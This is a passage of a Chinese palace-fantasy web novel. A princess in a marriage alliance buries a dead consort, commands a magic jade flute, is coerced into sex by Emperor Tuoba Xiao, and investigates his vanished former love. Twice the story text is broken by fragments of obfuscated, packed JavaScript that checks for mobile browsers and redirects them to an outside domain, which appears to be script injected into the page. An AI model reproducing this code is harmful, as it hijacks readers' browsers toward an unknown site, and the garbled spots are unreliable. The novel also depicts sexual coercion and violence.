阿丘愣在原地,慌张得左右摇摆不定,待我跑过她时,她立马挡在那群人面前帮我拖延时间。 我在做什么……我疯了吗…… 我在秋雨殿里狂奔,漫长的回廊终于看到大门。眼看着就要逃离这里,等出去以后又该往哪儿跑,等出去之后再说吧。我再一次加快脚步,柏夫人的尸体意外的很轻。那么爱吃爱笑体型微胖的人,怎么可能短时间内瘦到这个地步。 一定有问题。我脑海里不断重复着这句话。 那些人的身手十分敏捷,阴魂不散。挡在他们面前的阿丘被一把推开,撞在一旁的墙上。阿丘发出凄惨的叫声,但还是宁死不屈,死死抱住其中一人的腿。拳头和脚如暴雨落在阿丘身上, 距离大门只有一步之遥,我转过身用后背撞开门扉,怀中的“人”差点掉在地上,我吓得赶紧收紧手臂抱稳“她”。然而根本撞不开,头脑无法思考的时候完全忘了这扇门是往里开的。 白衣人逼近跌倒在地上的阿丘,情急之下,我非自愿地召唤来了闹别扭的玉笛。它是感知到我的危险,特地赶来救我吗? “玉笛!” 玉笛悬停在我眼前,笛身泛起诡异的红光,一缕黑气从笛孔中渗出。我看看阿丘,当务之急,不是闹别扭的时候,救人要紧。 “不可以杀人,帮阿丘逃出来!听见没!” 玉笛无视我,渗人的曲调响彻秋雨殿。一声尖锐的颤音发出,随即化作一道流光冲向追兵。金色的丝线从笛身迸发,如毒蛇般缠上白衣人的四肢。他们惨叫挣扎,却无法挣脱。 得赶紧阻止它!否则黑虫爬出,就来不及了! 我嘶声喊道:“玉笛!你若见血,我就不要你了!” 笛声骤然拔高,如同亡魂的哭嚎。白衣人的皮肤下开始凸起诡异的蠕动——黑虫,要出来了! “玉笛——!!!!” 笛声戛然而止。 一瞬间,万籁俱寂。时间静止,风停叶止,除了我,无一物能动弹,就连玉笛也僵持在半空,笛身散发出的黑气凝固。我急促的喘息声成了这死寂中唯一的响动,冷汗顺着脊背滑下。 眼前的异样绝对不是我一声怒吼的结果,我的呼吸凌乱,眼神快速勘察这座院子凭空出现的人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483932|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “谁……是谁?” 眼前倏地一暗。眨眼的功夫,跟前凭空出现一身玄色长袍,身长我半截的男人。 “……是你?” 他平静地看着我,视线又转向我怀里的“人”。我以为他要抢,收紧手臂死死护住柏夫人。 “疯了。” 他唇齿未动,却清晰地发出声音。 玉笛仍悬在半空,笛身上的红光黯淡下去,像是被某种无形的力量压制。玉笛是南风仙子的神器,理应只会听我一个人的话。此人出现,玉笛也失去自我,不再为所欲为。 一个荒谬的念头猛然窜上心头。我不禁向他发出疑问:“玉笛……是你创造出的……你是……哥哥?” 他俯视着我,唇角似弯非弯了一下。 “身心疯魔,好在尚存一丝理智。” 哥哥俊逸的面容沉下几分脸色,别开脸,看向远处被封印的闹剧。阿丘被白衣人踩在脚下双手护着脑袋;道长张牙舞爪,狰狞的表情凝固在脸上瞪着我;玉笛散发的黑气都如同被冻结的墨,悬停不动…… “哥、哥?” 我不确定地唤了他一声。 哥哥收回视线,俯下身,冰凉的手指拂过我额前汗湿的碎发,轻声细语说道:“玉笛在地府待太久,戾气重了些,哥哥来帮你教训它。” “你……哥哥要把它摔坏吗?” “玉笛是摔不坏的。”他眉眼弯弯地揉了揉我的脸,“但如果你希望,只需一句,玉笛便可粉身碎骨。你希望玉笛消失吗?” 我抱紧怀里的柏夫人,目光闪烁。 “不……不希望。” “好。”哥哥直起身,说:“玉笛能为你做的事很多。试试?” “试……我不会。” 我轻轻摇头,思绪乱得不想多顾虑别的。 哥哥也不介意,掌心在我发顶轻轻一按,说:“不急,若你有需要,只管唤它。哥哥该走了,如果需要帮助,你知道如何找到哥哥。” 话音未落,他的身影已如烟消散。 风骤然灌入院落,落叶重新开始翻飞。白衣人身上的金线如潮水退去,可他们的身体仍保持着诡异的僵直,仿佛被抽走了魂魄。 “阿丘!快跑!” 趁着那群白衣人仍被诡异定住的间隙,弄不清状况的阿丘跌跌撞撞地爬起身,顾不得拍去裙摆上的尘土就冲到我身边。她的衣袖被扯破了一道口子,发髻散乱,却仍强撑着帮我拉开沉重的殿门。 “公主!” 我们刚冲出秋雨殿没几步,阿丘突然死死拽住我的衣袖。我踉跄着站稳,正要开口,才发现是春来殿门口停了辆玄色鎏金马车,站了好些人。 站在最前头官衔最高的男人微眯着眼,掩不住的凶狠气势,宛如野兽捕食猎物时一般锐利的眼神,死死盯着我。 “赵国公主这是做什么?” 他的声音不紧不慢,却让周围的空气都凝固了。身边的阿丘已经双膝跪地,双手交叠置于胸前,低头垂目:“奴婢叩见陛下。” 我不可置信地打量眼前的男人。是瑶池亭假山旁遇见的那个怪人。 “……你是……拓跋枭?” 76. 枭影逐风 阿丘脸色苍白,额头死死抵着冰冷的地砖,纯纯被拓跋枭的脸吓破了胆,浑身发抖地伏在地上。 拓跋枭轻笑一声,戏谑反问道:“胆敢直呼朕的姓名?许久不见,你依旧改不掉嚣张跋扈的性格。” 轻巧的语气危机四伏,仿佛是他问斩前刻意装出假惺惺的一面,诱人放松警惕。冲昏头脑的我完全忘了自己的任务和身份,全然不顾阿丘颤抖的手指拼命拽着我的裙角提醒,也要跟拓跋枭对峙。 秋雨殿追出来的白衣人和道士,见到拓跋枭后也立刻跪拜行礼。 “陛下自回宫以来与我从未见过,何来许久不见?” 拓跋枭的视线落在我手里白布包裹上,眉头骤然拧起道:“朕不想和抱着一具尸体的人交谈。今夜朕临幸此处,着人准备罢。” “……不可以。” 我厉声拒绝,阿丘忙拉扯我的衣袖。 “公主!公主慎言呐……” 我不理睬阿丘的提醒,继续直言:“劳烦陛下换个地方,换个时间。柏夫人刚走……春来殿一墙之隔便是秋雨殿……” 柏夫人尸骨未寒,我不想她一生都见不到的人,方辞别,那人便至门前。 拓跋枭沉着脸,拔出一旁侍卫腰间的刀,走向阿丘。我见状一个跨步挡在阿丘跟前,侧过身,又把柏夫人护了护。拓跋枭居高临下鄙夷阿丘,越过我走向后方之人。站定在道士跟前,一刀落下割断道士身后一白衣人的喉咙,热血溅上我怀中的白布。拓跋枭摆了摆手,让人把尸体抬走。片刻后仰首伸眉,若有所思地冲我不屑一笑,眼底翻涌着令人窒息的压迫感。 “言之有理。刚死人的地方,朕怎可在此过夜。今夜亥时,到兴宁殿侍寝。” 什么东凉枭雄,我看是东凉狗熊才对! 刀尖上还在滴血,拓跋枭随手甩干,血珠划出一道暗红的弧线,铁器在甩动间发出令人毛骨悚然的森响。剩下的人如履薄冰,生怕他手里的刀下一个就落在自己脖子上。 我上前一步,想让他收回方才的话。刚侧过身的拓跋枭倏然回首,略一停顿,昂首道:“搞清楚你的身份,说话前掂量一番。再敢直呼朕的名字,你知道下场如何。” 竟然拿赵国一事威胁我…… 拓跋枭阴恻恻笑了声,走上马车。我攥紧拳头,指甲扣着掌心,气得浑身发抖,咬牙切齿地瞪着扬长离去的马车。 “公主……您没事吧?” 阿丘慌忙起身扶着我的手臂,用手帕擦去我脸上的狼狈。身后的宫人们正收拾一摊狼藉,抬着尸体经过,血水在地砖上拖出蜿蜒的痕迹。 “偏偏今日……他一定是故意的……分明看到了,却假装一无所知……如此没人性的人哪儿配做一国之主!” 我把高音调,恨不得前脚刚走的人听得一清二楚。阿丘抬手顺着我的背,劝我消气:“公主啊!话不可乱讲!是会掉脑袋的!别气坏了身子。已是申时,公主要不要吃点东西?阿丘去给您准备。待会儿前院的人估计也会来,您……” 我无悲无喜地抱紧怀里的柏夫人,抬头看了眼天上的太阳,舒了口气。手无寸铁的人,如何杀出一条血路……有玉笛又如何,难不成我还能令它杀了东凉皇帝,杀了拓跋枭吗?我终究只是听天由命,唯命是从。 “不必管我,你先去沐浴池等我罢。” “是……” 阿丘临走前又看了眼我怀里白布包裹的柏夫人,心事重重地去了后殿的沐浴池。 深秋的寒风卷着枯叶掠过春来殿的后院,我跪在凋零的花圃中央,指尖深深插入冰凉的泥土。那些尚未扎根就被掘起的花苗蔫萎在旁,茎叶上凝着霜痕。柏夫人苍白的面容在土坑中显得格外平静,枯叶打着旋儿落在她华丽的衣襟上。 我跪在潮湿的泥地上,颤抖着将白布重新裹紧她冰冷的身躯。布料下隐约可见她纤细的轮廓,就像她喜欢裹着素纱在秋雨殿赏落叶时的模样。我小心翼翼地托住她的肩膀,将她放入新挖的泥坑中。 我捧起一抔潮湿的冷土,细碎的土粒渐渐掩去她的轮廓。风撕下枝头最后几片残瓣,我将它们拢在掌心,连同春来殿仅剩的春色,一起盖在那微微隆起的土丘上。 当最后一捧土落下时,我的指甲缝里已嵌满黑泥。有几滴温热的东西砸在手背上,在泥土里洇出深色的圆点。我低声对她呢喃:“暂时没有墓碑,又不想将就。你等我……等我离开,我带你去更好的地方。那里没有约束、没有爱恨情仇、没有家国大业……” 喉间突然哽住,白雾在空气中凝结。我死死按住抽痛的心口,神色凝重,额头上的汗珠暴露了我身体的不适。 “你先在这儿好好休息吧。没人可以带走你……” 远处传来沉闷的报时钟声,惊起栖鸦扑棱棱掠过枯枝。我撑着膝盖缓缓起身,裙摆沾满泥浆,在暮色中渐渐凝成铁锈般的暗红。 “玉笛。” 暗处传来破空之声,那抹青影应声而来,依旧是暗淡的青色。伸手接住它时,冰凉的触感顺着指尖蔓延至心脉。 “我知道你能做的事很多,可不可以,保管好柏夫人的身体,等我们离开的那一天,我要带她一起走。” 玉笛暗暗发出青光回应我。暗青色的流光从孔洞中溢出,悲怆的笛声呜咽着盘旋而起响彻春来殿后院。金色的流光钻进新坟,渗入泥层。光芒淡化为寒芒,直至彻底消散。 “还有那道士、白衣人……” 后槽牙咬得生疼,血腥味在口腔里蔓延。闭眼的瞬间,积蓄多时的泪终于砸在笛身上。握着玉笛的手紧了紧,发泄最后一点怒意。 “一个不留。” 第一次被五六名侍女服侍着沐浴更衣,都是前院来的人,奉皇帝之命,将我清洗干净,彻底洗去我身上的邪祟。温热的水汽氤氲在檀木浴桶周围,她们纤细的手指拂过我的肩颈,香露的气息在空气中弥漫。不同春来殿服饰的料子,崭新的绸缎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489470|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中衣触肤生凉。 鎏金皇宫马车停在殿前时,我踩着描金脚踏犹豫了一瞬,回头望向守在春来殿门口的阿丘。 “若能回来,明早我想喝莲子羹。” 阿丘明白我的意思,屈膝跪在地上向我拜别。 车厢内壁包着暗纹锦缎,小几上香炉里飘出一缕青烟,随着马蹄声轻颤。透过纱帘缝隙,我看见朱红宫墙的阴影一道道掠过车辕。 初次踏入后宫前院的瞬间,鹅卵石小径在脚下微微硌着脚。兴宁殿回廊转角处的灯台刚被点亮,将雕栏玉砌照出流动的光泽。 拓跋枭还在前殿处理事务,他们要我坐在寝殿的床榻上等。 在春来殿多点一盏便是奢靡的灯台,而兴宁殿的烛火却煌煌如昼。绸缎中衣被薄汗浸透黏上皮肤,我失神坐在床沿,手指无力搭在腿上。 拓跋枭何时进的屋,我竟浑然未觉。直到一双赤脚踏过织金地毯,阴影沉沉地压下来,我才猛然回神。他一把攥住我的手腕,力道大得几乎要捏碎骨头,不由分说地将我提起,狠狠丢回锦被堆里。我踉跄着跌进柔软,发髻散乱,一缕碎发垂落眼前,遮住了视线。 他居高临下地盯着我,眸色阴鸷,抬手扯下勾起的薄纱帷幔。估计见不得我一副要死不活的样子,下一刻,拓跋枭猛地揪住我的领口,粗粝的指节抵在颈侧,迫使我直起身与他对视。 “你可知柏氏为何而死?” 我别开脸,唇角扯出一抹冷笑道:“柏氏?你甚至连她的名字都不肯叫……” 拓跋枭眉峰微蹙,抬首睨着我:“朕不知道她的名字。她本就是柏岐利保全地位的贡品,也是她自愿独守深宫。朕赐她夫人,已是大恩。” 胸腔里翻涌的怒意几乎要冲破喉咙,我死死咬住下唇,不想再听他多说一个字,猛地挣开他的手,翻身拨开帷幔就要下榻。 “回来。” “我要回去替她守夜。” 我头也不回,赤足踩上柔软的地毯。拓跋枭的声音跟在身后。 “替一个要你死的人守夜?你还真是心胸宽大。” 拉开兴宁殿的大门,夜风从殿外卷入,吹得衣袂翻飞。身后的拓跋枭一脚踩在床沿,手肘撑在屈起的膝盖上,在烛光下投下一片浓重的阴影。整个寝殿的空气仿佛都随着他这一踏而凝固,连飘动的帷幔都静止了一瞬。 “薄情冷意的人。你对柏夫人一无所知,不准那么说她。” “呵,今夜着实有趣。” 我半回头恶狠狠瞪着拓跋枭。他却像是瞧见了张牙舞爪的幼兽,薄唇勾起一抹玩味的弧度,眼底暗芒流转。半晌后直起身,明明隔那么远,那股威慑还是震得我无法动弹。 “出言不逊,忘恩负义,今夜的折子,你想了多久?” 这个人叽里呱啦说什么话。 我没理他抬脚欲要跨出门槛。 “听好,你若踏出这道大门,明日朕便举兵突围定边军。” 77. 凤箢移宫 守在寝殿外的宫人无声将我面前敞开的门又合上。 “亡灵仍在,陛下外出堆积下来的朝中事务繁重,怎会还有如此心思?” 身后的人没有回答,只是轻轻动了动身子,换了个舒服些的姿势斜靠在床踏上。我自知逃不出去,转过身,无力背靠上门板。 “洗尘宴那日,瑶池亭畔,朕看到的人是你?” “……是我。” 拓跋枭许久没说话,那双无光的双目注视着我。 “孤魂?” “啊?” 我当自己听错了话,他装出头疼的样子,欲言又止,扶额轻叹道:“又出来扰乱朕的心神。罢了,今夜准许你服侍朕。” ……这个人到底在说什么疯话……传闻中的东凉皇帝背地里竟是个疯子?得小心别染上疯病…… 拓跋枭见我不动,换了个姿势,上身后仰,慵懒地坐在那儿正对我。 “愣着作甚?过来。今夜破例许你用齿舌。” “啊?!你在说——” 拓跋枭默然脱光衣服,敞开双腿以帝王之姿坐在床沿。 我与他隔着寝殿宽度的距离,想逃,但不敢逃。我答应贺祈骁会想方设法,保全东凉不会举兵攻打赵国。 他眉目凛冽大步走过来,擒住我的手腕带往床榻边,奋力将我甩上去。 “你——!” 宽大的身体压下来,暴力扯开我的衣裳。撕扯成碎片的衣裳被丢至一旁取暖的火炉里,火光燃起,殿内的温度再次拔高。 “不知天高地厚。你该叫朕什么?” “什、什么?你脑子出问题了!一直说什么胡话!你松开我!” “陛、下。” 他一字一顿告诫完毕后,拔下我发间的白梅步摇随手丢弃,起身压下来。庞大的力量压得我喘不过气,奋力推搡他。 “啊!你——你起开!” “今夜是受了什么邪毒?由朕来主动,总行吧。” 扶玉弄珠之人的手带着怨气,似要将脆弱的玉珠碾成粉碎般不知怜惜。 “行什么行!你不许——你!你做什么?!离我远点!” 我抬脚挥拳用力反抗,他竟俨然不动。一个巴掌呼过来,力道之大,我的眼前黑了片刻。他抓住我乱蹬的脚踝举过我的头顶,舌尖舔舐激起的痒意让我瞬间清醒。 “不行……你……出去啊……” 有鸟鸣,有雨声,有竹林树叶的窸窣声,还能听到宫人匆忙的脚步声……我是睡着了吗?还是折磨到晕过去了…… 我睁开双眼,不知自己何时睡着了,此时醒来,正躺在拓跋枭的小腹上。我抬起虚弱无力的手擦掉脸上的泪痕,拓跋枭的手搭在我的身上,昨夜被他缠在手腕上的丝带还连接在我与他的腕处。向后转身是拓跋枭恶心的嘴脸,若不转身又是那恶心的凶器。只好平躺着,听雨声切切,盯着头顶的帷幔发呆。 头靠之人动了动身,在不打扰我休息的幅度内。 “深宫路远,你今日便搬到前院来,省得朕日后往春来殿跑。” “放我回去……” 拓跋枭只是撑着脑袋静静看着我,嘴角带着讥讽的笑。 “春来殿住得那么舒心?竟让你舍不得走了?” “放我,回去。” 我能感觉到自己的眼睛里已经没有光,身体没有被褥掩盖冷得发抖。一阵窸窣的声音,拓跋枭一只手掰住我的下巴,强硬对视。 “……让朕猜猜,你和夏逸飞,藏着什么秘密。他在东凉校场上见过你,还说你是神女下凡?” “放、我、回、去。” 我垂眸瞪着他,他却舒心一笑。蛮狠地甩开我的脸,取出枕头下藏着的匕首,割开他手腕上的丝带。 “今夜春来殿侍寝,朕不想再看到你这副晦气模样。” 回到春来殿,我将自己泡在浴池里,里里外外洗了四遍。阿丘端来前院送来的香露,擦拭在我皮肤上,说是李皇后送来的,说月华池那日见我皮肤粗糙,心疼至极,特命人去凉州带了些香露给我。 阿丘说询问我要不要抹上,因为拓跋枭说今夜会来。我婉拒道他不会来,那瓶香露也让阿丘拿去房中与其他侍女享用。 没人会把时间浪费在一个无趣之人身上。 入夜,已是后半夜。 我没料想到拓跋枭当真会到春来殿,明明我都摆出那副对他恨之入骨的晦气模样。 春来殿自然不会迎接他而收拾装扮一番,拓跋枭一脸嫌弃地环视和亲公主的寝殿。用脚踢开脚边柏夫人送我的蹴鞠,拓跋枭想来拉我的手,被我一下后退躲开。 “朕救了你,你就这么报答朕?” “殿下救了我?何年?何月?何日?陛下即是我的救命恩人,我为何一无所知?” 他伸手拉住我,拖拽着我与他走到床榻边,引我坐在他腿上。 “柏氏托人传口信来,说你亲口告诉她,你不是赵国清漪公主。还要朕到秋雨殿,她细细讲述给朕听。” “……” 我不语,拓跋枭的手指勾住我腰间的丝带,将我扯向他。 “你悼念背弃之人,有何感想?” “不可能。柏夫人不是那种人。她不会背弃我。” “要朕找来中间传话的人吗?” “……” “来人,去把秋雨殿的侍女通通叫来。” 守在门外的宫人匆忙离开,稍后带着声音熟悉的侍女出现在门外。拓跋枭不许有人进屋,所以他们只跪在门外等候问话。 “将你那日替柏氏传达的话,一字不漏复述一遍。” 颤颤巍巍的声音从门外传来。 “柏夫、夫人说……她亲耳听到清漪公主说,说自己不是公主……公主的原名和身份……请……还请殿下到秋雨殿,夫人将其一一告知……” 娇滴滴的抽泣声盖过了她后面的话,拓跋枭招呼门外的人全部散去。 “你听到了。” “……我没听到。” “哼,执迷不悟。” 他揽上我的腰一起朝后倒去,床帏掩合。我因坐在他腿上,整个人直接躺在他身上。腰带不知何时簌簌落地,我认命似的闭上眼睛。 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“此番你说什么……我都听你的……好不好……不要再悄无声息地离开我……” 被欲念熏蒸的眼眸中映出我掺杂着不解、怨恨的脸,他就像一瞬之间换了个人似的,眸光里充斥着对用情至深之人怜爱至极的情欲。 莫非又是我重生前留下的罪孽……又是曾经的我给自己挖下的坑…… 多年前,第一任皇后被届时还只是个美人的李皇后设计害死,拓跋枭将李美人封为皇后。原本皇后之位拓跋枭是想封给一位民间带回的女子,奈何那姑娘在某个深夜,打砸完所住寝殿的一切陈设后,凭空消失。 民间女子离开后,春来秋雨殿再无人居住。 柏夫人取名昭阳,生来阳气充沛、能克阴。进宫后,拓跋枭以嫌弃其相貌丑陋为由,赐予夫人,撵至荒草蔓生的春来秋雨殿。 那里原本并不是人们口中的幽宫,自那姑娘离开后,常有人说在右边的院子,也就是姑娘常住的春来院,总能看到一缕孤魂游荡。柏夫人害怕,便请求将春来秋雨殿用一墙隔开,将原本的秋雨院和春来院,改造成如今的模样。 “春来秋雨”之名,是那人留下的。如今的后宫,除了李皇后和陈美人,当年见过那姑娘容貌的人,都以离奇的方式或死或消失。 柏夫人住进秋雨殿后,请了道士驱邪。道士说,春来殿的阴气过重,无法完全驱散,好在秋雨殿残留的孤魂飘去了瑶池。因与仙界瑶池同名,孤魂被困池边,不会再飘去别处。 此话传到了拓跋枭耳力,那之后,他常去瑶池与孤魂见面。 陛下中了从秋雨殿跑出来的邪祟。 宫中流言蜚语四起,拓跋枭一怒之下斩杀了最初驱邪的道士,下令宫中不得再有道士出现。 柏家世代尊崇歪门邪教,柏夫人中毒身亡后,按照教派传统,需剃干净身上的毛发,净肤后驱邪火葬。东凉皇宫无人知晓这项传统,除了当初和柏夫人一起嫁进皇宫的侍女,名唤阿丘。 78. 美人如月 已近辰时三刻,过了早朝的时间,拓跋枭还赖在兴宁殿的床榻上不走,一手环住我的腰,一手拨弄我披散的发丝。粗糙的指腹不经意摩挲脸庞的皮肤,惊起一阵恶心的颤栗。 侍从来报前殿众臣早已到齐候驾,他却漫不经心地挥手,命众人散去改日再议。送来的折子眼看着被搁置堆满御案,拓跋枭终于起身走到岸边提笔。 “朕想写封信给赵国皇帝,麻烦赵国第一才女代笔。” 还以为他终于肯放过我…… 我躺在床踏上懒懒翻了身背对他:“朝中那么多文官,为何不找他们?” 感知到拓跋枭转身注视我,走回塌边坐下。 “公主不想给父亲写一封亲笔书信吗?还是说你——” 我忽地起身夺过他手里的笔,打断他的话:“我写!不过晚间回春来殿再写,陛下也该去处理朝中事务了。” “回宫?说什么荒唐话。过来,给朕舔。” “……恳请陛下,不要为难我。” 舔个鬼!格老子的,信不信玉笛一根弦勒死你个龟儿子! 我心底暗暗用西蜀学来的脏话骂人。 拓跋枭似乎就喜欢用这等下流之话惹我羞恼,一手捏着我的下巴把玩,猝不及防咬了口我脸颊上的肉。 “你从前那么听话,最近怎么了?一个幻影,还敢顶嘴?” 上次说我是鬼,这次又说我是个幻影……我到底是个什么……还有,这么恶心的要求我从前怎么可能听他的话! “折腾了一晚上,陛下放过我吧……” 他唤来守在门外侍女进殿伺候他更衣,我蜷缩在被褥里,生怕被人看到正脸。迄今为止,李皇后多少知道了兴宁殿每晚有人来侍寝,却始终不知是何人。只要我不露出马脚,李皇后怎么都想不到我身上。至于那瓶玉露……暂且当她想拉拢人心的借口吧。 “也罢,待人定时再来。若朕仍在御书房批阅奏章,你便先行安歇罢。” “……” 他的身子是铁打的吗?铁打的也经不起这般折腾吧。 “今晚就不能歇会儿吗……” “你说什么?” 我捂在被窝里嘀咕,他自然没听清,我也不想重复。眨眼的功夫,我头顶的被褥被一把掀开,刺眼的亮光照得眼睛睁不开。拓跋枭的脸倒悬在上方,饶有兴趣地盯着我。 “等我回来。” “……” 疯子。 檀木香气从春来殿门后涌出,我是从兴宁殿走回来的,怕马车张扬,被李皇后发现。门被关的严严实实,也不知道阿丘今天又在捣鼓什么。 院内一片烟雾缭绕中,我见到跪在灵台前祈祷的阿丘。 “听说陈美人疯了。” “疯了?” 阿丘端来茶点,与我在春来殿后院闲话。 “宫里最近传得沸沸扬扬,陛下又得新欢,早朝迟到、公务堆积也要先寻佳人。陈美人知道后几度昏厥,身子脸色更差了。御医都坐视不管,似乎是得了谁的令,不许替陈美人诊治。” 下令的那个谁,显而易见。 “所以姐妹们都说在各处点香驱邪,祈求疯病原理。” 难怪今天一回来就闻到檀香的味道…… 节气入冬,阳气深藏而阴寒之气旺盛,本就是神情妄动而不安宁之际。陈美人之事我多少从阿丘口中听过,也在月华池宴上亲眼见过。那句身体,若再不医治,恐怕更为严重。 “我去看看陈美人。” 话音落,阿丘起身拦住我。 “公主不怕人说闲话吗?要是被皇后娘娘知道……” “我们走着去,不引人注目。” 朱红高墙,阴森至极。我和阿丘一路贴着墙根走,尽量避开常有人经过的地方。我预想中的精彩冒险并未发生,反而一路畅通。忽然想起阿丘先前说的关于陈美人的流言,估计是因为离谱的话,大家都对这一块避而远之吧。 阿丘自称今日烧过香拜过神灵,疯病不会染上身,大胆陪我走一趟。 “公主,兰熏殿会不会有人把守啊?” “说不准……玉笛。” 我看了看左右,确定没有外人后,压低声音召唤玉笛。阿丘不解,发出疑惑:“嗯?公主,我不是玉笛,我是阿丘。” 青色划过眼前,恢复青玉色的玉笛停悬在我和阿丘面前,我欣慰地接住它。 “它它它它它——它从哪里飞出来的!” 阿丘惊吓得趴在一侧的墙壁上,我左顾右盼装傻。 “说什么呢,哪儿有东西飞出来。” 阿丘揉了揉眼睛,信了我的话,以为是自己看走了眼。 “可可可是,这玉笛,它——” “嘘。安静。” 我示意阿丘噤声,捧起玉笛贴上额头。 “去探探兰熏殿有没有守卫,有的话……打晕就行,别给打死了。” 下一刻,玉笛高飞,朝着兰熏殿的方向如离弦之箭射出。阿丘愣住半晌,难以置信地指着玉笛惊呼:“它、它听懂了?!笛子能听懂人说话?!” “嗯?谁?我不知道你在说什么。” 虽长久无帝王光顾,兰熏殿倒收拾得精致。阿丘与这里的侍女相识,道过身份后,领我去了陈美人所在的地方。花香熏染的室内,陈美人以手扶额坐在桌边,唉声叹气。不愧是拓跋枭只见一面便带回皇宫的美人,一颦一笑都牵人心弦,挪不开眼。 “你是谁!” 疯疯癫癫的陈美人察觉到我后立马警觉起来,神色慌张得失了仪态,狼狈地跌坐在地上。兰熏殿的侍女也见多不怪,悄悄上前扶起地上的陈美人。 得先让她冷静下来,对我放松警惕,否则我怎么从她嘴里套出我想要的信息。我脸上浮起笑意,在长袖的掩盖下清了清嗓子,道:“我是陛下派来的女御医,还请美人乖乖坐好。” 陈美人闻言眸光颤了颤,许是太久没听到陛下的名号,内心的雀跃浮上嘴角。 “陛下果然还是关心我的……” 她在我面前乖乖端坐,我索性搭上她的脉搏,在话疗前看看她体内脉象异常。确实比常人虚弱很多,我起身走到岸边,拿起桌上的纸笔开始记录。 “……我见过你……” 虚弱的声音细弱蚊蝇,我笑着回道:“嗯,我也见过你,在月华池。” “不是!不是月华池!不是!” 她瞬间变得 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“快去快回,注意隐蔽。” 遣走阿丘,兰熏殿的侍女也纷纷退下,终于只有我和陈美人独处一室。 “我真的见过你!就在凉州!真的!” 我抓住疯癫美人的手安慰道:“嗯,是在凉州,我也记得。美人可记得那时我的名字?” 她垂下眸子,失落道:“不记得……你跟在一道士身后,到陈家施法预言。次年,预言灵验。陛下路过凉州,见我一眼,便带我回宫……陛下曾经那么宠爱我,我不过提了口那人的名字,他竟然……” 确认了拓跋枭曾经对陈美人是有过一段真感情后,我暗自下定开始实施我的计划。 “我帮你。我帮美人回到陛下身边。” 陈美人大喜过望,傻乐呵着两手握住我感动得泣不成声。 “不过我很好奇什么名字让他如此生气?你还记得吗?” 笑容凝固在陈美人脸上,本来流下感动的泪水转瞬间变悲伤之泪。我赶忙安慰:“想不起也没关系!不要为难自己,身子重要!身子重要!” 许久之后,陈美人冷静下来。等她的间隙,我将桌上的糕点和一壶茶吃个精光。最近劳累得厉害,食欲也大增。 陈美人用手绢擦着眼角说道:“她在我之后入的宫,是陛下曾经最爱的人。那人离开后,陛下虽常临兰熏殿,却也常去瑶池,与她的孤魂见面。兴宁殿守夜的侍卫还曾听见陛下在房中唤她的名字,似是与孤魂交欢……” “……好可怕。” 我就说东凉皇帝神志不清,多半脑子有问题吧。看来有此结论的人,不止我一个。 “嗯?等等——瑶池亭?兴宁殿?鬼?” 好熟悉的故事,熟悉到有种亲身经历过的感觉。 我不禁愣了,“那人的名字该不会姓南——” “不,那姑娘姓赵。” 我不禁舒了口气:“呼——吓我一跳。” “名风。” 陈美人神色镇定,与我讶异的神情截然不同。她以我没听清,又重复道。 “赵国公主,赵风。” 79. [锁] [此章节已锁] 送药包去兰熏殿的途中,阿丘盯着怀中的药壶看了一路,眼神有些茫然。 “又是问诊又是偷着抓药,阿丘想不明白公主为何对陈美人那么好。这要被皇后发现,公主可得小心了。” “悬壶济世,不问缘由。李皇后不敢动我,我毕竟是赵国送来和亲的公主,她敢弄我,就是挑拨两国的关系。多年对战,东凉的军力也远不如前,眼下不宜开战。” “哇!阿丘再次对公主刮目相看!” 是战国七雄的名称没错了。齐楚燕韩之后,“赵风”腾空出世。还不确定陈美人说的是疯话还是当真见过我,将她治愈完全,重新找回拓跋枭对她的喜爱,我不就能摆脱拓跋枭的折磨嘛!一举两得的完美计划都能被我想出来,我不是天降奇才是什么! 轻车熟路窜进兰熏殿,将冷却的汤药交给侍女后,我四处寻找陈美人的身影。 “陈美人呢?” 侍女指了指浴池方向:“美人在沐浴。” 我眯起眼睛,贼兮兮地侧耳贴在门扉上。绝不是在偷听别人洗澡!不过,怎么听不见一点动静? 询问带路来的侍女:“里面没人伺候着?” “美人说困了,让我们在外面侯着。” 二话不说我推门而入,陈美人已经完全浸泡在水里没有挣扎。 “快拿浴袍来!!!” 安神的熏香浮动,命人添置了些炭火,室内变得暖和。我坐在床沿缝制手中安神的香囊,制好后偷偷放在陈美人枕下。安静后的疯癫美人如兰花般静雅,我望她出神,没忍住……鼻尖触碰到冰冷的皮肤,手背感受她脖颈脉搏的跳动…… 即将靠近的人忽然发出迷糊的声音,眼睛缓缓睁开。 “你醒了。感觉好些了吗?有没有哪里不舒服?” 我立马坐直身子问道。虚弱的人睁开眼,见我后露出失望的神情。 “清漪……公主?我这是……怎么了?身体好冷……” 我笑了笑,拿毛巾替她擦脸,又被重温的汤药端给她。 “你泡在浴桶里睡着了,幸好及时发现。我给你煮了暖身子的药,喝了就不冷了。” 她瘫在床踏上,双眼无神盯着上方。 “你救了我……你又救了我……为何救我?我这样的人,死了也无人在乎……陛下都不爱我了,我留着有什么用……皇后早看我不顺眼,次次想除掉我……太医院不肯为我治病,兰熏殿也被传成幽宫……” “别说不吉利的话,来把药喝了。” 我想扶她起身,她却像身子没骨头似的,软成泥潭,扶都扶不住。 “我梦到陛下……梦到他来见我……梦到他从凉州说带我走的那天……我以为……我以为自己已经完全取代了赵风……陛下为何还是不肯爱我……是我长得还不够美吗……” 